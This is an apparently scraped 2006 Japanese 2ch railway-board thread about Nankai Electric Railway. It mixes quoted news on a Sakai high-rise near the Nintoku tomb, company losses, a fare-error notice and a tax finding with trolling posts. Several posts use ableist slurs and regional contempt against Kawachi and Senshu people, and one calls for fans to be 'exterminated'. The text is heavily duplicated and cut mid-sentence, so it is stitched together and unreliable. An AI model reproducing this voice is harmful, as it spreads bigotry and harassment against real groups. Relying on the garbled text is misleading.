った。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声
もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘク
タール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか
約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施
も収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それ
でも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状
態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字とな
っている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増
してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計
画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわか
った。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声
もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘク
タール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか
約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施
しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉
教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル
開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周
囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp:
//www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となっ
た大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しか
し去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこ
んなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業
地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地
が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞ しかしこの計画地、反正陵からわずか１２
０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を
教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル
開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周
囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp:
//www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となっ
た大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しか
し去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこ
んなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業
地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地
が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞ しかしこの計画地、反正陵からわずか１２
０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を
進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０
メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも
名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マ
ンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml>>85合意は関係ないとのこと。合意制をとると、荒らしが合意したらそれでＯＫとなるから。しかも、住人全員の合意を取ること
など、掲示板では不可能。先に立ったガイドラインに反しないスレが正統スレ、というのが削除人の見解。
メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも
名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マ
ンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml>>85合意は関係ないとのこと。合意制をとると、荒らしが合意したらそれでＯＫとなるから。しかも、住人全員の合意を取ること
など、掲示板では不可能。先に立ったガイドラインに反しないスレが正統スレ、というのが削除人の見解。
やっぱ泉州が母体の南海ヲタ。危惧していたとおり、カッとするとすぐにケンカ腰な発言になるのと、学歴が低く議論する頭持ってないから理詰めで話ができてない。作為所議論板で、削除人ら
に完全に理論で押されている。関西で放送されたのか知らないが、スーパーモーニングで頭に血が昇った亀田家父がやくみつるに結果的にボロ負けした状況とそっくりだ。
に完全に理論で押されている。関西で放送されたのか知らないが、スーパーモーニングで頭に血が昇った亀田家父がやくみつるに結果的にボロ負けした状況とそっくりだ。
有名なバファローズの応援歌♪南海電車ぁ、ボロ電車ぁ〜♪近鉄電車は 二階建てぇ〜これは15年以上も前の歌なのに、今やさらにボロくなってるどうしようもない南海w
削除人により正式と認められた下記スレ【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/をこのスレの後継スレとすることを削除人に報
告し、同時にこのスレの削除依頼を取り下げを申請しますが、何か意見・反論があればどうぞ削除人には、「現在スレにて議論中」と報告しており、近々削除人の「上記スレを正式スレとする」
との見解を踏まえた上で、何らかの結論は出して報告しなければなりませんもちろん、このスレの上の方のレスにもあるとおり、削除人が正式だと認めたスレが残っている限りは、新スレを立て
ると同時に重複となり、削除依頼を申請し、一連の流れを把握した上で「上記スレには不備がなく正統」と結論づけている削除人に問答無用で削除されることとなります特に何も意見・反論がな
ければ、「スレ住人の総意」として上記のように報告・申請しますがよろしいか？
告し、同時にこのスレの削除依頼を取り下げを申請しますが、何か意見・反論があればどうぞ削除人には、「現在スレにて議論中」と報告しており、近々削除人の「上記スレを正式スレとする」
との見解を踏まえた上で、何らかの結論は出して報告しなければなりませんもちろん、このスレの上の方のレスにもあるとおり、削除人が正式だと認めたスレが残っている限りは、新スレを立て
ると同時に重複となり、削除依頼を申請し、一連の流れを把握した上で「上記スレには不備がなく正統」と結論づけている削除人に問答無用で削除されることとなります特に何も意見・反論がな
ければ、「スレ住人の総意」として上記のように報告・申請しますがよろしいか？
593 ：名無しでGO!：2006/08/21(月) 01:07:04 ID:rwd47mEQ0
「浪速乃内弁慶」南海（笑）
全員紙ねよ雑魚
595 ：名無しでGO!：2006/08/21(月) 16:14:50 ID:gBKN4hJC0
>>594
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>171赤字南海は電気代が払えない位貧乏だからね。 阪和線は南海に歩調を合わせているだけ今だに三国ケ丘や中百舌鳥に急行を止めようとせず、河内、橋本から大阪中心部への利便性をわざと悪
くしている、大阪市中央区難波が根城の、鉄道界のハミゴといえば？ 有馬温泉で強制猥褻行為をした運転手と車掌が勤務していた関西大手私鉄は？ピタパのキャンペーンで泉北行ったんだが、
なんば駅のエアコンと違 南海は駅前が臭いホームレスが多いからwってガンガンにきいてた。羨ましかった 南海はしないんですかと社員に聞いたら金かかるて言われた
くしている、大阪市中央区難波が根城の、鉄道界のハミゴといえば？ 有馬温泉で強制猥褻行為をした運転手と車掌が勤務していた関西大手私鉄は？ピタパのキャンペーンで泉北行ったんだが、
なんば駅のエアコンと違 南海は駅前が臭いホームレスが多いからwってガンガンにきいてた。羨ましかった 南海はしないんですかと社員に聞いたら金かかるて言われた
南海の難波駅前の犬たくさん連れたホームレス、何とかしたら？まったく、情けないったらありゃしないよね・・・>205赤字南海>206赤字南海北摂の期待の星たちが目指す灘の入試。しょせん河
内人・泉州人が束になってかかってきても、そもそも生まれつき脳みそが足りないので、北摂には勝てないってこったな（藁）南海ヲタって、頭ワルー！はっきり言って、とりえ何もないよねー。
これが解けない低学歴・子だくさんで知られる河内の低脳君どもは、河内の零細タオル工場に就職して、一生貧しい生活送ってろってこった（藁）7JDA9＝太陽FD8FA＝生命D73AD＝稲妻7FAFF＝箱
舟この時FAUU8は？南海はぼろい南海で働くのは、南海沿線で育ったバカばかり。東急で働くのは、東急沿線で育ったセレブの子ばかり。この違いは、大きい。南海は安月給で、東急は高給取り。
そのくせ南海の台所事情は火の車だというのは、笑える。南海は、大井町線程度の利用客しかいない。しかも、大井町線は年々利用客が増え続けているにもかかわらず、南海は利用客離れが止ま
らない。南海の最新車ですら、8000系や8500系よりも終わっている。東急は各地に百貨店を出店しているが、南海は百貨店すら持っていない。
内人・泉州人が束になってかかってきても、そもそも生まれつき脳みそが足りないので、北摂には勝てないってこったな（藁）南海ヲタって、頭ワルー！はっきり言って、とりえ何もないよねー。
これが解けない低学歴・子だくさんで知られる河内の低脳君どもは、河内の零細タオル工場に就職して、一生貧しい生活送ってろってこった（藁）7JDA9＝太陽FD8FA＝生命D73AD＝稲妻7FAFF＝箱
舟この時FAUU8は？南海はぼろい南海で働くのは、南海沿線で育ったバカばかり。東急で働くのは、東急沿線で育ったセレブの子ばかり。この違いは、大きい。南海は安月給で、東急は高給取り。
そのくせ南海の台所事情は火の車だというのは、笑える。南海は、大井町線程度の利用客しかいない。しかも、大井町線は年々利用客が増え続けているにもかかわらず、南海は利用客離れが止ま
らない。南海の最新車ですら、8000系や8500系よりも終わっている。東急は各地に百貨店を出店しているが、南海は百貨店すら持っていない。
598 ：名無しでGO!：2006/08/26(土) 00:18:57 ID:dMfca8qIO
ﾎｼｭ
人間の屑赤字監禁強制わいせつ南海ヲタttp://hobby7.2ch.net/test/read.cgi/rail/1155996317/空気輸送の鉄仮面関空輸送でJRにボロ負けの南海。入国したばかりの右も左もわからない外国人
は、JR・南海半々くらいに分かれるが、帰国のために関空に向かう外国人は、みんななぜか決まってJRを利用するこの不思議さ。原因は、京都やキタまで関空直結路線を延ばすJRの、ネットワー
ク面での圧勝。そしてもう１つ。南海の空港急行の車両の汚さ・ボロさ。南海はボロいわ汚いわ片開きだわで発展途上国よりも車両の質が低く、あまりのひどさにさすがの中国人やフィリピン人
も絶句し、二度と乗ってもらえない。南海は空港線に7000系を投入することで、自滅している。ドル箱を持ってるのにそれを自分の会社でダメにしてしまってるじゃん。こうゆうとき、なんと言
うんでしょおか！わかった！『宝の持ち腐れ』！いいことば！みつけた！南海は鉄道界の冥王星です南海は鉄道界のパロマです>394ない。「関西大手私鉄会議」にて阪急「南海、お前はクビだ」
南海「は？」阪神「お前如きが俺等といつまでも肩並べられると思ってるのかよ！」南海「おいおい、待ってくれよ…」京阪「悪いですね、そういうことです」南海「じゃあ、俺の代わりはどう
すんだよ！！」近鉄「俺たちは少数精鋭なんだ。代わりはいらない。」南海「そ、そんな…」山陽「今日から俺たちは“近畿京阪急神山”として生まれ変わる」南海「ひでぇwww」阪急「うるせぇ
！さっさと出て行け！！」南海「覚えてやがれ、必ず復讐してやる！」23:59:59なら赤字南海、倒産この前、３・３フリーで初めて南海乗ったけどボロばっかだね〜。最低車両決戦スレでよく、
７０００系がしＲ２０３系に並ぶ汚物車両のトップの票になっているけど、さすがに古いから７０００系は少ないかな〜という甘い考えで難波逝ったら、ずら〜と７０００系のオンパレード！！
南海で一番好きな(この車両だけが一般車でカッコいい)１０００？系乗れるかな〜と思ったら、普通列車にほんの少し走っているだけ・・・・自分は１日で、高野線・本線のったけど、ボロ７０
００系ばっかりで(南海の殆どの車両がコイツ)で、比較的キレイな１０００系は凄く少なく南海にはあきれた・・・。南海は比較的新車が多い、公団線に吸い取られれればいいのにと思ったwwww
は、JR・南海半々くらいに分かれるが、帰国のために関空に向かう外国人は、みんななぜか決まってJRを利用するこの不思議さ。原因は、京都やキタまで関空直結路線を延ばすJRの、ネットワー
ク面での圧勝。そしてもう１つ。南海の空港急行の車両の汚さ・ボロさ。南海はボロいわ汚いわ片開きだわで発展途上国よりも車両の質が低く、あまりのひどさにさすがの中国人やフィリピン人
も絶句し、二度と乗ってもらえない。南海は空港線に7000系を投入することで、自滅している。ドル箱を持ってるのにそれを自分の会社でダメにしてしまってるじゃん。こうゆうとき、なんと言
うんでしょおか！わかった！『宝の持ち腐れ』！いいことば！みつけた！南海は鉄道界の冥王星です南海は鉄道界のパロマです>394ない。「関西大手私鉄会議」にて阪急「南海、お前はクビだ」
南海「は？」阪神「お前如きが俺等といつまでも肩並べられると思ってるのかよ！」南海「おいおい、待ってくれよ…」京阪「悪いですね、そういうことです」南海「じゃあ、俺の代わりはどう
すんだよ！！」近鉄「俺たちは少数精鋭なんだ。代わりはいらない。」南海「そ、そんな…」山陽「今日から俺たちは“近畿京阪急神山”として生まれ変わる」南海「ひでぇwww」阪急「うるせぇ
！さっさと出て行け！！」南海「覚えてやがれ、必ず復讐してやる！」23:59:59なら赤字南海、倒産この前、３・３フリーで初めて南海乗ったけどボロばっかだね〜。最低車両決戦スレでよく、
７０００系がしＲ２０３系に並ぶ汚物車両のトップの票になっているけど、さすがに古いから７０００系は少ないかな〜という甘い考えで難波逝ったら、ずら〜と７０００系のオンパレード！！
南海で一番好きな(この車両だけが一般車でカッコいい)１０００？系乗れるかな〜と思ったら、普通列車にほんの少し走っているだけ・・・・自分は１日で、高野線・本線のったけど、ボロ７０
００系ばっかりで(南海の殆どの車両がコイツ)で、比較的キレイな１０００系は凄く少なく南海にはあきれた・・・。南海は比較的新車が多い、公団線に吸い取られれればいいのにと思ったwwww
w今回乗った車両でマシだったのが高野線急行の２０００？系だけだった。新車作らず、こんなにボロい７０００系を大量にほったらかして、南海は将来をしっかり見据えた経営をしているのかと
小一時間思った。以上、ボロ車置き換えで、２００６年〜２０１０年の間に３００両以上新車の新造を決めた名鉄のユーザーの感想でした。糸冬南海ヲタはハッキリ言って性格悪すぎ南海ヲタの
バカみたいな行動は見てるだけでむかついて腹立たしくなる早くあんな糞は抹殺して大手私鉄から追放しちまえ糞野郎あーゆう南海が好きな奴が現実世界で犯罪に手を染めやすいんだろうなあと
思う赤字南海ヲタが阪急萌えを自白「べっ別に珍作が好きだからこのスレに常駐してるんじゃないんだからね！異常に運賃が高い南海河内長野→難波 27.3km 540円河内長野→阿部野橋30.9km 54
0円阪急梅田→六甲 27.4km 310円阪急安っ！赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ今気付いた南海ボロい500なら赤字南海、倒産＿＿＿＿_／::::::::::::::::::::::::::＼＿/:::::::::::::::
:::::::::::::::::::::::＼／￣￣＼|:::::::::::::::::|＿|＿|＿|＿|/、ヽはぁ？黙ってろデブ南海ヲタ|;;;;;;;;;;ノ＼,,,,／ヽ|・|―-、||::（6ー─◎─◎）ｑ-´二ヽ||ノ（∵∴（oo）∴）
ノ＿ー||／|<∵３∵>＼.￣｀|/::::::＼ヽノ＼O＝＝＝＝＝|:::::::::::::＼＿＿＿＿＿ノ:::::::::::＼/|と、一度気に入り自分のツボにはまった書き込みについては、延々クドクドと同じ書き
込みを繰り返して自己満足に浸る南海ヲタ。その反復行動のパターンは、池沼さながらだ！つまり、『南海ヲタ＝池沼』という証明を自らこのスレで晒しちゃっているわけなんだ。気をつけろ！
以上、南海ヲタのキモさについて、長井秀和がおしゃべりさせていたただきました。 と7qSgpnmKと4H2Mgvpuの２つのIDを使って自演して、自分のキモさを完全否定する、とてつもなくキモい南
海ヲタとてつもなくキモい南海ヲタに触れちゃったから、お風呂入って身を清めてこようっと。あんなに便利な伊丹空港を廃港にしてどうすんの？需要のない関西空港の２期工事の方がよっぽど
税金のムダ。
小一時間思った。以上、ボロ車置き換えで、２００６年〜２０１０年の間に３００両以上新車の新造を決めた名鉄のユーザーの感想でした。糸冬南海ヲタはハッキリ言って性格悪すぎ南海ヲタの
バカみたいな行動は見てるだけでむかついて腹立たしくなる早くあんな糞は抹殺して大手私鉄から追放しちまえ糞野郎あーゆう南海が好きな奴が現実世界で犯罪に手を染めやすいんだろうなあと
思う赤字南海ヲタが阪急萌えを自白「べっ別に珍作が好きだからこのスレに常駐してるんじゃないんだからね！異常に運賃が高い南海河内長野→難波 27.3km 540円河内長野→阿部野橋30.9km 54
0円阪急梅田→六甲 27.4km 310円阪急安っ！赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ今気付いた南海ボロい500なら赤字南海、倒産＿＿＿＿_／::::::::::::::::::::::::::＼＿/:::::::::::::::
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ノ＿ー||／|<∵３∵>＼.￣｀|/::::::＼ヽノ＼O＝＝＝＝＝|:::::::::::::＼＿＿＿＿＿ノ:::::::::::＼/|と、一度気に入り自分のツボにはまった書き込みについては、延々クドクドと同じ書き
込みを繰り返して自己満足に浸る南海ヲタ。その反復行動のパターンは、池沼さながらだ！つまり、『南海ヲタ＝池沼』という証明を自らこのスレで晒しちゃっているわけなんだ。気をつけろ！
以上、南海ヲタのキモさについて、長井秀和がおしゃべりさせていたただきました。 と7qSgpnmKと4H2Mgvpuの２つのIDを使って自演して、自分のキモさを完全否定する、とてつもなくキモい南
海ヲタとてつもなくキモい南海ヲタに触れちゃったから、お風呂入って身を清めてこようっと。あんなに便利な伊丹空港を廃港にしてどうすんの？需要のない関西空港の２期工事の方がよっぽど
税金のムダ。
|＿＿＿＿.＿＿＿＿|||||||∧＿∧||||（´∀｀）つミ|||/⊃ﾉ||南海￣￣￣￣'￣￣￣￣|>549赤字南海ではいつものこと
飽きもせずまだ延々同じコピペやってる。池沼って、ホント単純反復行動が好きなんだな。さすが、南海ヲタはキモいな。おっと、>559ミスった
こっちでも単純反復コピペで、とてつもない池沼ぶりを発揮してる。の部分をあえて消して引っ越しさせてるところを見ると、＜単純反復コピペ知的障害厨＝引っ越し厨＞で、自分のコピペ部分
を意図的に削ってあることが容易に推測できる。そりゃ、住人の迷惑も顧みず、いつまでもしつこく延々同じ行動を繰り返してコピペし続ける罠。この先精神病院に入院するまで、反復行動繰り
返して同じコピペ貼り続けるんじゃないの？完全に頭いかれてるから。
を意図的に削ってあることが容易に推測できる。そりゃ、住人の迷惑も顧みず、いつまでもしつこく延々同じ行動を繰り返してコピペし続ける罠。この先精神病院に入院するまで、反復行動繰り
返して同じコピペ貼り続けるんじゃないの？完全に頭いかれてるから。
南海はぼろい
南海電気鉄道を除外大手私鉄は14社に
赤字監禁強制わいせつ南海ヲタ/＿＿//＿＿/＿＿/＿／＿＿///＿/＿＿/＿/いい加減な会社だなぁ。お客さま各位平成18年8月南海電気鉄道株式会社普通乗車券（臨時発売用）の磁気情報入力ミス
による運賃誤収受についてのお詫びとお知らせ8月1日に金剛駅出札窓口（券売機以外）で発売した普通乗車券（臨時発売用）の磁気情報入力ミスにより、お客さまに過剰に運賃をお支払いいただ
くというケースが発生いたしました。お客さまには大変ご迷惑をおかけいたしましたことを心からお詫び申し上げます。下記内容に該当するお心当たりのお客さまにはご利用区間等をお伺いした
上、過剰額のご返金をさせていただきますので駅係員までお申し出ください。１．内容(1)8月1日、PL花火芸術開催に伴う多客対応のため、金剛駅窓口（券売機以外）にて事前に本社部門で発券
した普通乗車券を発売いたしましたが、券面の金額表示と入力された磁気情報の運賃が異なっておりました。(2)誤った磁気情報の乗車券は、250円券・320円券の表記2類で、入力された磁気情報
はいずれも200円となっておりました。(3)その結果、上記乗車券をご利用されたお客さまが降車駅において自動改札機で出場できないというトラブルが発生し、一部のお客さまにおきましては、
自動精算機にて運賃を精算(過払い)して出場されております。精算されたお客さまの実績は以下のとおりです。２．過剰収受額及び件数250円券では50円43件320円券では120円1件※いずれも券売
機で購入された乗車券は対象外です。詳しくは、駅係員または下記のお問い合わせ先までご連絡ください。鉄道営業本部運輸部業務課06-6644-7264（月〜金9:00〜17:50）以上
による運賃誤収受についてのお詫びとお知らせ8月1日に金剛駅出札窓口（券売機以外）で発売した普通乗車券（臨時発売用）の磁気情報入力ミスにより、お客さまに過剰に運賃をお支払いいただ
くというケースが発生いたしました。お客さまには大変ご迷惑をおかけいたしましたことを心からお詫び申し上げます。下記内容に該当するお心当たりのお客さまにはご利用区間等をお伺いした
上、過剰額のご返金をさせていただきますので駅係員までお申し出ください。１．内容(1)8月1日、PL花火芸術開催に伴う多客対応のため、金剛駅窓口（券売機以外）にて事前に本社部門で発券
した普通乗車券を発売いたしましたが、券面の金額表示と入力された磁気情報の運賃が異なっておりました。(2)誤った磁気情報の乗車券は、250円券・320円券の表記2類で、入力された磁気情報
はいずれも200円となっておりました。(3)その結果、上記乗車券をご利用されたお客さまが降車駅において自動改札機で出場できないというトラブルが発生し、一部のお客さまにおきましては、
自動精算機にて運賃を精算(過払い)して出場されております。精算されたお客さまの実績は以下のとおりです。２．過剰収受額及び件数250円券では50円43件320円券では120円1件※いずれも券売
機で購入された乗車券は対象外です。詳しくは、駅係員または下記のお問い合わせ先までご連絡ください。鉄道営業本部運輸部業務課06-6644-7264（月〜金9:00〜17:50）以上
大手私鉄鉄道会社のうち、以下の14社をいう。大手民鉄とも。阪急電鉄阪神電気鉄道近畿日本鉄道京阪電気鉄道東武鉄道京成電鉄京王電鉄小田急電鉄東京急行電鉄京浜急行電鉄相模鉄道名古屋鉄
道西日本鉄道東京地下鉄>598西武と新京成は？>595赤字南海最悪
道西日本鉄道東京地下鉄>598西武と新京成は？>595赤字南海最悪
はいはい、有り得ないww
関西大手私鉄阪急電鉄阪神電気鉄道近畿日本鉄道京阪電気鉄道準大手私鉄大阪府都市開発（泉北高速鉄道）北大阪急行神戸高速鉄道神戸電鉄山陽電鉄中小私鉄阪堺電気軌道水間鉄道和歌山電鐵弱
小私鉄南海電気鉄道
小私鉄南海電気鉄道
587：おかいものさん：2006/05/30(火)20:24:34大阪名物のスーパー玉出に入るぞパパっここ物悪すぎ。パパ先帰るで。やだ。変わったものいっぱいあるな。帰りは電車やな。スーパー玉出に行く
なら南海で。南海とコラボレーションでCM作ったら割と良さそう。本社は南海沿線にあるし。ttp://money4.2ch.net/test/read.cgi/shop/1082177718/587
なら南海で。南海とコラボレーションでCM作ったら割と良さそう。本社は南海沿線にあるし。ttp://money4.2ch.net/test/read.cgi/shop/1082177718/587
532：おかいものさん：2006/03/03(金)20:49:25鉄道板で、南海電鉄の7000系というボロ電車のことを「電車版のスーパー玉出」なんて言ってた奴が居たが・・・ttp://money4.2ch.net/test/rea
d.cgi/shop/1082177718/532 522 ：おかいものさん ：2006/02/20(月) 20:54:26京阪は京阪ストアが京阪沿線の生活地盤を支えてる南海沿線(北部)は玉出によって生活地盤を支えているttp://mo
ney4.2ch.net/test/read.cgi/shop/1082177718/52
d.cgi/shop/1082177718/532 522 ：おかいものさん ：2006/02/20(月) 20:54:26京阪は京阪ストアが京阪沿線の生活地盤を支えてる南海沿線(北部)は玉出によって生活地盤を支えているttp://mo
ney4.2ch.net/test/read.cgi/shop/1082177718/52
>647(゜д゜（人）＝＝３３３ﾌﾟｯ
>652姿慎めよ
_＿＿|||南|,,,.|海|,'"';,､''ﾞﾞ;､).||､''ﾞﾞ;､),､ﾞ''!ﾘ''i二二二二!ﾞ''l!ﾘ'''ﾞ‖｀i二二二!´‖昌|:￣￣￣￣:|昌|￣:|_|;;;l"二二ﾞﾞl;;|_|￣:||:|::::::||;;;;;;;;;;||::::|:||:|::::::|┌
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;;;;|,;,;,,,,,,,,,,,,,,,;,;,|;;;;;;;;;;|＿__|_l;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>628水間140億円の赤字南海65億円の赤字目糞鼻糞23:59:59なら
赤字南海、水間鉄道南海線
─┐|::::|:|.／ﾞﾞ└‐┴ ┴l,,,,,,,,,,l┴┴‐┘ﾞﾞﾞﾞ＼|￣￣￣￣￣￣￣￣￣￣￣￣￣|￣|三|三三|三三三三|三三|三|￣||:::|::::|::||||:::|::::|::||/＿|:::|::::.|:::|＿ヽ_|＿__|;;;;;;
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赤字南海、水間鉄道南海線
615 ：名無しでGO!：2006/08/29(火) 14:16:14 ID:zY9yEgbu0
南海はロボイ
616 ：名無しでGO!：2006/08/30(水) 21:08:19 ID:2clEwsP70
南海を梅田まで延伸させよう！
617 ：名無しでGO!：2006/08/30(水) 21:18:41 ID:mG9T8b1e0
南海を梅田まで延伸させよう！
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618 ：名無しでGO!：2006/08/30(水) 21:19:22 ID:mG9T8b1e0
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619 ：名無しでGO!：2006/08/31(木) 07:58:23 ID:rHju3aaz0
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南海はボロイ南,海,は,ボ,ロ,いなんで南海ってＪＲ阪和線にボロ負けなの？別に煽りなどでなく素朴な疑問なんだが何で南海ヲタは、大阪市内〜関空でJRの方が勝っている事実を認めたがらない
の？南海はぼろい南海はぼろい>878たった10億円じゃ、南海には焼け石に水だよこれ見てごらんよ◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年
３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は
６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
の？南海はぼろい南海はぼろい>878たった10億円じゃ、南海には焼け石に水だよこれ見てごらんよ◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年
３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は
６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
南海の経営・車両置き換えは、スムーズに逝かないのかな〜wwwwwww。高野線の山岳線走行だけスムーズに逝ってもな〜。南海ダメホ・・・・
622 ：名無しでGO!：2006/09/02(土) 09:56:05 ID:EIqC6LjC0
お呼び出し申し上げます。
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
みさき公園様、みさき公園様。いらっしゃいましたらこちらのスレまでお戻り下さい。
鉄道２板削除議論スレ ５灯現示信号
http://qb5.2ch.net/test/read.cgi/sakud/1143116816
◇◆◇◆◇南海電鉄が申告漏れ ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５００
０万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１
億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始し
た後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスが
